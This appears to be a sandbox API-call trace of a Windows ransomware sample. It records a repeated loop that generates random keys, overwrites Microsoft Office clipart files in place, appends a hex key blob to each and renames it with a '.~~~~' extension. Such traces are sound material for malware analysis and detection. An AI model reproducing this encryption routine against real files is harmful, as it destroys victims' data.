	[0112.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0112.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0112.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b3d8
	[0112.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b3d8 | out: hHeap=0x300000) returned 1
	[0112.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28334c0
	[0112.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.781] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0112.781] GetLastError () returned 0x0
	[0112.782] GetLastError () returned 0x0
	[0112.782] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0112.782] GetLastError () returned 0x0
	[0112.782] GetLastError () returned 0x0
	[0112.785] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffbe60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.785] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x41a0, lpOverlapped=0x0) returned 1
	[0112.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.786] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.787] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.787] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.787] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.787] CloseHandle (hObject=0x11c) returned 1
	[0112.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.787] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.~~~~")) returned 1
	[0112.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0112.788] GetLastError () returned 0x0
	[0112.790] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0112.791] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.791] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0112.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0112.791] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23278118315) returned 1
	[0112.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xacd3ed10, dwHighDateTime=0x1d60e1e)) 
	[0112.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0112.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0112.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0112.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830528
	[0112.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830528 | out: hHeap=0x300000) returned 1
	[0112.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833558
	[0112.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.792] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0112.792] GetLastError () returned 0x0
	[0112.792] GetLastError () returned 0x0
	[0112.792] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0112.792] GetLastError () returned 0x0
	[0112.793] GetLastError () returned 0x0
	[0112.795] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff13c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.795] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xec4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0xec4, lpOverlapped=0x0) returned 1
	[0112.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.796] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.797] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.797] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.797] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.797] CloseHandle (hObject=0x11c) returned 1
	[0112.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.797] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.~~~~")) returned 1
	[0112.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0112.799] GetLastError () returned 0x0
	[0112.799] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0112.800] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.800] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0112.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0112.800] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23279047012) returned 1
	[0112.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xacd64e70, dwHighDateTime=0x1d60e1e)) 
	[0112.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0112.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0112.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0112.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830560
	[0112.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830560 | out: hHeap=0x300000) returned 1
	[0112.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833688
	[0112.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.801] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0112.801] GetLastError () returned 0x0
	[0112.802] GetLastError () returned 0x0
	[0112.802] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0112.802] GetLastError () returned 0x0
	[0112.802] GetLastError () returned 0x0
	[0112.804] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe798, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.804] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1868, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x1868, lpOverlapped=0x0) returned 1
	[0112.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.805] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.805] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.805] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.805] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.805] CloseHandle (hObject=0x11c) returned 1
	[0112.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.806] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.~~~~")) returned 1
	[0112.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0112.807] GetLastError () returned 0x0
	[0112.807] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0112.808] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.808] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0112.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0112.808] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23279853455) returned 1
	[0112.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xacd64e70, dwHighDateTime=0x1d60e1e)) 
	[0112.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0112.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0112.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0112.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830598
	[0112.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830598 | out: hHeap=0x300000) returned 1
	[0112.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833720
	[0112.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.809] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0112.809] GetLastError () returned 0x0
	[0112.810] GetLastError () returned 0x0
	[0112.810] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0112.810] GetLastError () returned 0x0
	[0112.810] GetLastError () returned 0x0
	[0112.871] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff604, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.871] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x9fc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x9fc, lpOverlapped=0x0) returned 1
	[0112.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.877] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.878] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.878] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.878] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.878] CloseHandle (hObject=0x11c) returned 1
	[0112.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0112.938] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.~~~~")) returned 1
	[0113.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0113.014] GetLastError () returned 0x0
	[0113.027] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.037] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.037] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.037] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23302694853) returned 1
	[0113.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xacfa0310, dwHighDateTime=0x1d60e1e)) 
	[0113.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830a68
	[0113.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830a68 | out: hHeap=0x300000) returned 1
	[0113.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834430
	[0113.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.038] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.038] GetLastError () returned 0x0
	[0113.038] GetLastError () returned 0x0
	[0113.038] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.038] GetLastError () returned 0x0
	[0113.038] GetLastError () returned 0x0
	[0113.042] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff83f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.042] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x7c08, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x7c08, lpOverlapped=0x0) returned 1
	[0113.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0113.044] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.044] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.044] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.044] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.044] CloseHandle (hObject=0x138) returned 1
	[0113.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.~~~~")) returned 1
	[0113.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.046] GetLastError () returned 0x0
	[0113.048] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.049] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.049] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.050] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23303972728) returned 1
